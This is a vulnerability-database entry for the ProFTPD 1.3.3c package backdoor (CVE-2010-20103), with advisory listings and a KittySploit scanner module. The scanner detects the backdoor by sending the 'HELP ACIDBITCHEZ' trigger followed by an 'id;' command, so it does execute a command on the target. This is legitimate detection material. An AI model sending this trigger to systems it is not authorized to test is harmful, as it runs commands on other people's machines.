ProFTPD - Compromised Package Backdoor Detection (CVE-2010-20103)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2010-20103 | 29 May 201815:50 | – | circl | |
| ProFTPD 安全漏洞 | 20 Aug 202500:00 | – | cnnvd | |
| CVE-2010-20103 | 20 Aug 202515:38 | – | cve | |
| CVE-2010-20103 ProFTPD 1.3.3c Backdoor Command Execution | 20 Aug 202515:38 | – | cvelist | |
| EUVD-2010-5301 | 7 Oct 202500:30 | – | euvd | |
| ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103) | 10 Aug 202606:19 | – | kittysploit | |
| ProFTPD 1.3.3c Backdoor Command Execution | 2 Dec 201000:00 | – | metasploit | |
| CVE-2010-20103 | 20 Aug 202516:15 | – | nvd | |
| ProFTPD Backdoor Unauthorized Access Vulnerability (Dec 2010) - Active Check | 2 Dec 201000:00 | – | openvas | |
| PT-2025-34100 | 20 Aug 202500:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ProFTPD 1.3.3c compromised package backdoor (CVE-2010-20103)."""
import re
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
class Module(Scanner, Tcp_scanner_client):
__info__ = {
'name': 'ProFTPD - Compromised Package Backdoor Detection (CVE-2010-20103)',
'description': (
'Detects CVE-2010-20103 by sending HELP ACIDBITCHEZ then id; and matching uid=.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'scanner', 'tcp', 'ftp', 'proftpd', 'backdoor', 'cve', 'cve2010', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2010-20103',
],
'cve': 'CVE-2010-20103',
}
port = OptPort(21, 'FTP port', True)
def run(self):
host = self._host()
port = self._port()
if not host or not self.is_tcp_open(host, port):
return False
try:
sock = socket.create_connection((host, port), timeout=self._timeout())
sock.settimeout(self._timeout())
sock.recv(256)
sock.sendall(b'HELP ACIDBITCHEZ\r\n')
r = sock.recv(512).decode('latin-1', errors='replace')
if '502' in r:
sock.close()
return False
sock.sendall(b'id;\r\n')
r1 = sock.recv(512).decode('latin-1', errors='replace')
sock.close()
except Exception:
return False
if re.search(r'uid=\d+.*gid=\d+', r1):
self.set_info(
severity='critical',
reason='ProFTPD compromised package backdoor (CVE-2010-20103)',
path=f'tcp/{port}',
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.3
EPSS0.13661
SSVC